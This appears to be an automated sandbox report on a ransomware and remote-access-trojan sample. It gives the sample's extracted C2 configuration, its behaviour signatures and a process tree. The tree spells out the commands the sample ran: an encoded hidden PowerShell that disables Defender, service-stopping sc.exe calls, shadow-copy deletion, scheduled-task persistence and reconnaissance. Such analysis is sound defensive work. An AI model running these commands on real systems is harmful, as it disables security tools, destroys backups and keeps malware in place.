Overview

overview

10

Static

static

10

2026-09-19...ry.exe

windows10-2004-x64

10

2026-09-19...ry.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/09/2026, 11:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 48KB
  • Sample260919-ntd98sts6k
  • SHA256 5a5d8fee8300ab6afa4356e843acf1804f6fc9285143fba9ac886afbd4a58e10
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionnanocoreimpactkeyloggerpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • nanocore

Version

  • 1.2.2.0

C2

  • http://bronxcrypto.io

Mutex

  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://bronxcrypto.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables Task Manager via registry modification
    defense_evasion
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    defense_evasion
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2860
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" http://bronxcrypto.io
      2⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1008
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff8f39c728,0x7fff8f39c734,0x7fff8f39c740
        3⤵
          PID:3644
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,2763802121819572942,16304171359776062626,262144 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
          3⤵
            PID:4944
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,12822068807126429628,16886258003549354882,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:11
            3⤵
            • System Time Discovery
            PID:3356
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2324,i,11829724744502195425,15616105018171644887,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:13
            3⤵
              PID:2304
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3164,i,12953797090537673053,5240895935892133067,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=3284 /prefetch:1
              3⤵
                PID:3268
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,10946156081150264841,15106092552871521048,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
                3⤵
                  PID:4984
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4684,i,12466796169304472057,3243154218131208365,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:14
                  3⤵
                    PID:2320
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4840,i,3057199515175860142,12342653644492123316,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:14
                    3⤵
                      PID:4560
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5588,i,16162107706002415525,6620967823542174089,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:1
                      3⤵
                        PID:5720
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5660,i,14889096346206364057,5772698718444342717,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
                        3⤵
                          PID:3968
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5832,i,1737460789283468092,12659234488492428792,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
                          3⤵
                            PID:1616
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5732,i,12849324105594481462,11822367376817612237,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
                            3⤵
                              PID:388
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5656,i,17261205548574630901,1390463737454997157,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
                              3⤵
                                PID:4372
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6076,i,7375287739575275626,8390894067229576443,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
                                3⤵
                                  PID:1236
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6032,i,3810487850260835552,3300945132023745382,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:1
                                  3⤵
                                    PID:3692
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5860,i,6341842513747007274,6082385051028846086,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:1
                                    3⤵
                                      PID:4736
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6012,i,1052993510812487366,909618657737474448,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:14
                                      3⤵
                                        PID:5336
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3444,i,1288301851190269324,4800570161063689734,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:14
                                        3⤵
                                          PID:2548
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3392,i,13313460928942975382,6901900220571498261,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=3908 /prefetch:14
                                          3⤵
                                            PID:1888
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5992,i,9901668595674203694,1898806123598771726,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:1
                                            3⤵
                                              PID:3716
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5876,i,15648117624850602633,6144811008740217653,2097152 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:9
                                              3⤵
                                                PID:5456
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5944,i,11216217228759094779,7948984195606836043,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
                                                3⤵
                                                  PID:4132
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4832,i,15472706240586392021,13087204297832225010,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:14
                                                  3⤵
                                                    PID:5724
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5996,i,15368961555845300456,8414625126715572707,524288 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
                                                    3⤵
                                                      PID:5064
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1232,i,14860489256814194555,205129269279674532,262144 --field-trial-handle=1912,i,2287237071690556700,16515516011659958236,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:10
                                                      3⤵
                                                        PID:1108
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
                                                      2⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3464
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" stop wscsvc
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:5176
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:6076
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" stop SecurityHealthService
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:3836
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:1756
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" stop WinDefend
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:3968
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:908
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" stop MsMpSvc
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:3892
                                                    • C:\Windows\System32\sc.exe
                                                      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
                                                      2⤵
                                                      • Launches sc.exe
                                                      PID:4764
                                                    • C:\Windows\System32\fodhelper.exe
                                                      "C:\Windows\System32\fodhelper.exe"
                                                      2⤵
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:4304
                                                      • C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe"
                                                        3⤵
                                                          PID:2428
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop wscsvc
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:2856
                                                      • C:\Windows\System32\sc.exe
                                                        "C:\Windows\System32\sc.exe" stop wuauserv
                                                        2⤵
                                                        • Launches sc.exe
                                                        PID:4164
                                                      • C:\Windows\System32\vssadmin.exe
                                                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                        2⤵
                                                        • Interacts with shadow copies
                                                        PID:4268
                                                      • C:\Windows\System32\wbem\WMIC.exe
                                                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                        2⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3080
                                                      • C:\Windows\System32\wscript.exe
                                                        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                        2⤵
                                                        • Executes a VBScript file via the Windows Script Host.
                                                        PID:308
                                                      • C:\Windows\System32\schtasks.exe
                                                        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
                                                        2⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:4448
                                                      • C:\Windows\System32\schtasks.exe
                                                        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
                                                        2⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:3832
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:5540
                                                        • C:\Windows\system32\vssadmin.exe
                                                          vssadmin delete shadows /all /quiet
                                                          3⤵
                                                          • Interacts with shadow copies
                                                          PID:1252
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic shadowcopy delete
                                                          3⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:1556
                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4776
                                                        • C:\Windows\system32\systeminfo.exe
                                                          systeminfo
                                                          3⤵
                                                          • Gathers system information
                                                          PID:5780
                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:1388
                                                        • C:\Windows\system32\tasklist.exe
                                                          tasklist
                                                          3⤵
                                                          • Discovers running processes
                                                          PID:6036
                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:5568
                                                        • C:\Windows\system32\whoami.exe
                                                          whoami
                                                          3⤵
                                                            PID:3748
                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:328
                                                          • C:\Windows\system32\net.exe
                                                            net user
                                                            3⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:4648
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user
                                                              4⤵
                                                                PID:4412
                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:396
                                                            • C:\Windows\system32\ipconfig.exe
                                                              ipconfig /all
                                                              3⤵
                                                              • Gathers network information
                                                              PID:5364
                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:5552
                                                            • C:\Windows\system32\NETSTAT.EXE
                                                              netstat -an
                                                              3⤵
                                                              • Gathers network information
                                                              PID:3224
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-19_d3936209a54e078d94fc11d5f51560c6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                                                            2⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:4884
                                                          • C:\Windows\System32\wscript.exe
                                                            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                            2⤵
                                                            • Executes a VBScript file via the Windows Script Host.
                                                            PID:956
                                                          • C:\Windows\System32\notepad.exe
                                                            "C:\Windows\System32\notepad.exe"
                                                            2⤵
                                                              PID:3192
                                                            • C:\Windows\System32\vssadmin.exe
                                                              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:4528
                                                            • C:\Windows\System32\wbem\WMIC.exe
                                                              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                              2⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3056
                                                            • C:\Windows\System32\net.exe
                                                              "C:\Windows\System32\net.exe" stop srservice
                                                              2⤵
